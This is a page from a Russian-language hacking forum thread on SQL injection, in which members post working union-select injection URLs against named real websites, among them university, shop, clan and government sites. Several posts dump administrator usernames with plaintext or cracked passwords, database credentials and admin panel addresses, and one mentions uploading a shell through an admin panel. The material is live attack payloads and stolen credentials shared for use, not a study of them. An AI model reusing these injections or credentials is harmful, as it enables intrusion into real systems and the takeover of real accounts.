SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 485 of 798
  1. S00pY

    S00pY Active Member

    Joined:
    24 Apr 2007
    Messages:
    91
    Likes Received:
    109
    Reputations:
    21
    БК кланы :(

    /*-------------------------------------------------------------------------------*/
    Code:
    _http://www.marlenus.ru/news.php?id=-938'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13/*
    version():5.0.27-log
    user():bkclan@localhost
    database():marlenus_bkclan
    adminka
    Табла:site_admins
    Столбц:username,pswd
    Vbulletin
    Табла:user
    Столбц:username,password,email,icq,salt
    /*-------------------------------------------------------------------------------*/
    Code:
    _http://shaolin-clan.lv/index.php?pg=1&id=-500'+union+select+1,2,3,4,5,6,7,8--+
    version():5.0.37-Max
    user():shaolinbase@localhost
    database():shaolinbase
    adminka
    Табла:web_login
    Столбц:id,login,pass,nick,info,name,class
    phpbb forum
    Табла: phpbb_users
    Столбц:username,user_password
    /*-------------------------------------------------------------------------------*/
    Code:
    _http://chroniclers.ws/index.php?mod=commentnews&id=-411+union+select+1,2,3,4,5,6,7,8,9--
    version():5.0.67.d7-ourdelta-log
    user():p[email protected]
    database():papsru57_bw
    adminka
    Табла:site_user
    Столбц:id,name,password,email,combats_login,active,ip_address
    /*-------------------------------------------------------------------------------*/
    Code:
    _http://wboys.ru/comment/?id=13867'+and+substring(@@version,1,1)=[B]5[/B]--+
    Впадло крутить
    Code:
    _http://wboys.ru/gallery/?nick=grip_x29'+union+select+1,2,3,4,5,6,7,8,9--+&p=1
    тоже вроде без принта
    /*-------------------------------------------------------------------------------*/
    :(
     
    #9681 S00pY, 7 Jun 2009
    4 people like this.
  2. AlexSatter

    AlexSatter Member

    Joined:
    29 Jan 2009
    Messages:
    303
    Likes Received:
    92
    Reputations:
    33
    ТИЦ 240
    http://www.sibmech.ru/import.php?title=-57+union+select+concat_ws(0x3a,version(),user(),database())

    вывод в title
    4.1.22-log:[email protected]:sibmech_db
    удалось найти таблицу users

    содержимое таблицы users ввиде: id:login:password


    Code:
    1:admin:36696630cfdec3fa4702cc6c5d6d574a
5:dub14:eda4e674e1e13f224704f4b481a0ccf3
7:test:449bca0569d57b807c0567694640293a
8:denis:eda4e674e1e13f224704f4b481a0ccf3
9:user:b7ee47e9cc42e0d00bdf6dbb4f702d8a

    Админка: http://www.sibmech.ru/admin/
     
    #9682 AlexSatter, 7 Jun 2009
    1 person likes this.
  3. -JC-

    -JC- Member

    Joined:
    10 Mar 2009
    Messages:
    54
    Likes Received:
    18
    Reputations:
    11
    http://zdeg.sao.mos.ru/news.php?cat=-1+union+select+1,2,concat_ws(0x3a,user(),database(),version())/*
     
    #9683 -JC-, 8 Jun 2009
    1 person likes this.
  4. MaSTeR GэN

    MaSTeR GэN Member

    Joined:
    23 May 2008
    Messages:
    102
    Likes Received:
    54
    Reputations:
    7
    k106fm.com pr 5

    Code:
    http://www.k106fm.com/event_details.php?eventid=-4101+union+select+1,2,3,4,5,unhex(hex(concat_ws(0x0,version(),user(),database())))--
    Данные БД:

    Database Version: 5.0.15-nt-log
    Database name: rsl
    User name: [email protected]

    Админка по адресу:
    http://www.k106fm.com/admin/

    из таблицы bl_admin:
    user=fox
    md5=d5ce3d032734f16ee2c30bdb094b6e20
     
    #9684 MaSTeR GэN, 8 Jun 2009
  5. AlexSatter

    AlexSatter Member

    Joined:
    29 Jan 2009
    Messages:
    303
    Likes Received:
    92
    Reputations:
    33
    http://95c.ru/shop.php?ID=-462+union+select+1,2,3,4,concat_ws(0x3a,version(),user(),database()),6,7,8,9,10,11,12,13,14,15,16,17,18,19
    4.1.25:sauna95c@localhost:95c

    ---------------

    http://aquacabina.ru/shop.php?IDC=5&IDS=1554534534534+union+select+1,2,3,concat_ws(0x3a,version(),user(),database())/*
    4.1.25:dushnews@localhost:newdush

    -------------

    http://aqua-box.ru/shop.php?ID=-7+union+select+1,2,3,concat_ws(0x3a,version(),user(),database())
    5.0.81:vanna@localhost:bs

    таблиц с пользователями нет.
     
    #9685 AlexSatter, 8 Jun 2009
    Last edited: 8 Jun 2009
  6. udman

    udman Elder - Старейшина

    Joined:
    21 Apr 2009
    Messages:
    224
    Likes Received:
    105
    Reputations:
    25
    http://www.cyprusadvertiser.com
    [email protected]
    cyprusadv_vkaic
    5.0.32-Debian_7etch1~bpo.1-log

    Юсеры
    куда вводить не нашел )
    Лохин: grammateas
    Пасс: secretary

    Лохин: archive
    Пасс: thankyou

    Лохин: igor2
    Пасс: blah2
     
    #9686 udman, 8 Jun 2009
    1 person likes this.
  7. RulleR

    RulleR Elder - Старейшина

    Joined:
    12 Jun 2008
    Messages:
    166
    Likes Received:
    439
    Reputations:
    313
    [PR 4]
    Code:
    http://www.foodanddrinkfest.com/index.php?id=-45+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6,7,8,9,10,11,12,13,14,15,16
    5.0.77:foodfest_fest:foodfest_food@localhost

    [PR 3]
    Code:
    http://www.foodmachineryonline.com/product_desc.php?id=-1+union+select+1,2,3,4,5,6,7,8,concat_ws(0x3a,version(),database(),user()),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
    4.1.22-standard-log:foodmactest:foodmactest@localhost

    [PR 0]
    Code:
    http://auction.lebanese.us/product_desc.php?id=-38+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,28,30,31,32,33,34,35
    4.1.22-max-log:LebAuction:[email protected]

    [PR 0]
    Code:
    http://www.10000vacations.com/rentals/product_desc.php?id=1+union+select+1,2,concat_ws(0x3a,0x3c2f7469746c653e,version(),database(),user()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
    5.0.75-community-log:producx5_vacrentals:producx5_rentals@localhost
     
    #9687 RulleR, 8 Jun 2009
    1 person likes this.
  8. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    3,619
    Likes Received:
    432
    Reputations:
    234
    http://www.pro-limit.com/displayitemv10comp.php?item_id=-5198+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30+from+users+/*+

    http://www.arcep.fr/index.php?id=2124&L=%29&tx_gsactualite_pi1[uid]=-1151+union+select+1,2,3,4,concat_ws(0x3a3a,username,password),6,7,8+from+be_users--&tx_gsactualite_pi1[annee]=&tx_gsactualite_pi1[theme]=&tx_gsactualite_pi1[motscle]=&tx_gsactualite_pi1[backID]=24&cHash=7257875ce6
    $typo_db_username = 'arcep'; // Modified or inserted by TYPO3 Install Tool.
    $typo_db_password = 'arcep&sql'; // Modified or inserted by TYPO3 Install Tool.
    arcep_blog_admin:73c6ff6a9178b1138f60eb0fb26e669f - XX23TXX
    arcepadm:b91761c6674315b460a532a8b1f636df - QLT23TPP


    http://demo.pegas-studio.net/ind.php?id_typ=-73+UnIoN+SeLeCt+1,2,3,4,5,6,7,Concat_ws(0x3a3a,Username,User_password,User_email),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+from+phpbb_users+--+&tr=1

    http://alvimed.com.ua/catalogue.php?action=viewitem&item_id=-34+union+select+1,2,3,4,5,6,7,database(),9+/*+
    webkhark_alvimed
     
    #9688 DezMond™, 8 Jun 2009
    1 person likes this.
  9. AlexSatter

    AlexSatter Member

    Joined:
    29 Jan 2009
    Messages:
    303
    Likes Received:
    92
    Reputations:
    33
    PR 4
    http://www.gameszoo.org/voynichmonkeys/viewmsg.php?gr=1&num=15585+and+substring(version(),1,1)=5
     
    #9689 AlexSatter, 8 Jun 2009
  10. udman

    udman Elder - Старейшина

    Joined:
    21 Apr 2009
    Messages:
    224
    Likes Received:
    105
    Reputations:
    25
    Фух еле нашел русский сайт нехакнутый :D

    http://www.allsportinfo.ru/
    [email protected]
    5.0.67-log
    u55928


    Таблы списком

    Админы списком
    Лохин: silencer
    Пасс: huivam

    Лохин: mitkov
    Пасс: gubitludeinepivo

    Лохин: tulenkov
    Пасс: arhivarius

    Лохин: slusarenka
    Пасс: vlitvunatankah


    Админка стандартная просто дописываем Админ/
    В админке можно залить шелл, только через картинку
     
    #9690 udman, 8 Jun 2009
    4 people like this.
  11. Dimionx

    Dimionx Elder - Старейшина

    Joined:
    28 Aug 2008
    Messages:
    37
    Likes Received:
    12
    Reputations:
    4
    www.vdiec.edu.in

    Code:
    http://www.vdiec.edu.in/go.php?show=about&id=-1+union+select+1,concat_ws(0x0b,version(),user(),database()),3,4,5,6
    Версия - 4.1.22-STANDARD
    Юзер - VDIEC_ROOT@LOCALHOST
    БД - VDIEC_DATA

    Путь до админы
    Code:
    http://www.vdiec.edu.in/admin/login.php
    Доступна табличка - members (подбирайте...)
     
    #9691 Dimionx, 8 Jun 2009
  12. Kimliksiz

    Kimliksiz Member

    Joined:
    7 May 2009
    Messages:
    31
    Likes Received:
    12
    Reputations:
    11
    http://cms.wmhelp.com//index.php?p=poll&showresult=1&poll_id=-1+union+select+concat(email,0x3a,pass),1,2,3+from+kpro_user

    http://www.sudeoptik.com/admin/

    [email protected]:98d292620ce4e8087db271b691e28a4c : 458796
     
    #9692 Kimliksiz, 8 Jun 2009
    Last edited: 8 Jun 2009
  13. beerhack

    beerhack Elder - Старейшина

    Joined:
    1 Mar 2008
    Messages:
    99
    Likes Received:
    48
    Reputations:
    5
    Code:
    https://php.csumb[SIZE=3][COLOR=White].edu[/COLOR][/SIZE]/infotech/brp/r_summary.php?id=-99999'+union+select+1,version(),3/*
    Database Version: 5.0.45
    Database name: brp
    User name: brp@localhost
     
    #9693 beerhack, 8 Jun 2009
  14. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    390
    Reputations:
    58
    http://www.learn.unh.edu PR 5
    Code:
    http://www.learn.unh.edu/pcw/pd/sched.php?id=51+union+select+concat_ws(0x3a,version(),database(),user())/*
    Database version: 5.0.45
    Database name: 37560_learnunhedu
    User name: [email protected]

    AdminUsers:
    Code:
    http://www.learn.unh.edu/pcw/pd/sched.php?id=51+union+select+concat_ws(0x3a,username,password)+from+AdminUsers/*
    username : admin
    password : AA422kbolton

    http://www.learn.unh.edu/admin
     
    #9694 Skofield, 8 Jun 2009
  15. Krist_ALL

    Krist_ALL Banned

    Joined:
    14 Jan 2009
    Messages:
    436
    Likes Received:
    193
    Reputations:
    24
    вывод в титле

    4я ветка.

    Логин - diane
    Пассворд - 4f8c0d28489d5d0ee78dc35f61347b24 - nearipress

    Админки не нашел
     
    #9695 Krist_ALL, 8 Jun 2009
  16. RulleR

    RulleR Elder - Старейшина

    Joined:
    12 Jun 2008
    Messages:
    166
    Likes Received:
    439
    Reputations:
    313
    Code:
    http://www.newandusedpalletracking.co.uk/article.php?id=-54+union+select+1,2,3,concat_ws(0x3a,version(),database(),user())
    4.1.22:threejc:threejc@localhost
    Code:
    http://www.greatandhra.com/ganews/viewnews.php?id=-13116+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user())--&scat=25
    5.0.77-сommunity:ga_news:[email protected]
    Code:
    http://www.greatandhra.com/ganews/viewnews.php?id=-13116+union+select+1,2,3,4,concat_ws(0x3a,user,password,file_priv)+from+mysql.user--&scat=25
    Code:
    http://www.interspaziale.it/firme/articolo.php?id=-20223+union+select+1,2,unhex(hex(concat_ws(0x3a,version(),database(),user()))),4,5,6,7,8,9,10,11,12,13,14,15,16
    4.1.10-log:internazionale:[email protected]
    Code:
    http://vesen.hydra.is/spjald/slinkarc.php?id=-15383+union+select+concat_ws(0x3a,version(),database(),user())
    5.0.24a-Debian_9ubuntu2-log:ymis:root@localhost
    Code:
    http://vesen.hydra.is/spjald/slinkarc.php?id=-15383+union+select+concat_ws(0x3a,user,password,file_priv)+from+mysql.user
     
    #9696 RulleR, 8 Jun 2009
  17. Xizor

    Xizor New Member

    Joined:
    20 Apr 2009
    Messages:
    4
    Likes Received:
    2
    Reputations:
    10
    version: 4.0.27-standard-log
    user: [email protected]
    database: nzcampin

    При попытке узнать версию и т.д. столкнулся с проблемой кодировки, то есть такого содержания >>Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,SYSCONST) for operation 'UNION'
    Также пробовал подставить запросы вида
    char()
    перед union'ом ставил: COLLATE utf8_general_ci и т.д.
    Но, увы, так ничего и не вышло, может, у кого нибудь получится раскрутить эту SQL инъекцию.
     
    #9697 Xizor, 8 Jun 2009
    1 person likes this.
  18. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    Xizor http://forum.antichat.ru/thread104591.html

    http://www.theatreview.co.nz/reviews/review.php?id=-1+union+select+1,2,3,4,5,cast(concat_ws(0x3a,Version(),database(),user(),@@version_compile_os)+as+binary),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30/*


    Version : 4.1.15-LOG
    Database : THEATREVIEW
    User : THEATREVIEW@LOCALHOST
    Os : REDHAT-LINUX-GNU
     
    #9698 Gorev, 8 Jun 2009
  19. M.W.N.N.

    M.W.N.N. Member

    Joined:
    5 Jan 2009
    Messages:
    173
    Likes Received:
    78
    Reputations:
    6
    Code:
    http://journals.volunteer.org.nz/entry.php?id=1834+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7+from+user+limit+1,1/*
    version():4.0.24_Debian-10sarge3-log
    database():journals
    user():journals@localhost

    Code:
    http://journals.volunteer.org.nz/entry.php?id=1834+union+select+1,2,concat_ws(0x3a,name,password),4,5,6,7+from+user+limit+1,1/*
    Administrator:freedom1
    __
    Code:
    http://www.theatreview.co.nz/reviews/review.php?id=2237++union+select+1,2,3,4,5,unhex(hex(concat_ws(0x3a,version(),database(),user()))),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30+limit+1,1/*
    version()4.1.15-LOG
    database():THEATREVIEW
    user():THEATREVIEW@LOCALHOST
     
    #9699 M.W.N.N., 9 Jun 2009
    Last edited: 9 Jun 2009
    1 person likes this.
  20. ..::TROYAN::..

    ..::TROYAN::.. Elder - Старейшина

    Joined:
    22 May 2008
    Messages:
    90
    Likes Received:
    116
    Reputations:
    14
    какойто китайский шоп...
    Code:
    http://shop.rzxx.com/user.php?act=order_query&order_sn=%27%20union%20select%201,2,3,4,5,6,concat(user(),0x7c,version(),0x7c,database()),8/*
    rzxxshop@localhost|4.0.25-nt-log|rzxxshop


    Code:
    http://shop.rzxx.com/user.php?act=order_query&order_sn=%27%20union%20select%201,2,3,4,5,6,concat(user_name,0x7c,password,0x7c,email),8%20from%20ecs_admin_user/*
    admin|e68969db498985f423ece7ba02213c24:bluehut51|bluehtu@163

    на сервере стоит WINNT

    Safe-mode: ON (secure)

    кста на главном сайте PR:4
     
    #9700 ..::TROYAN::.., 9 Jun 2009
    1 person likes this.
(You must log in or sign up to post here.)
Page 485 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.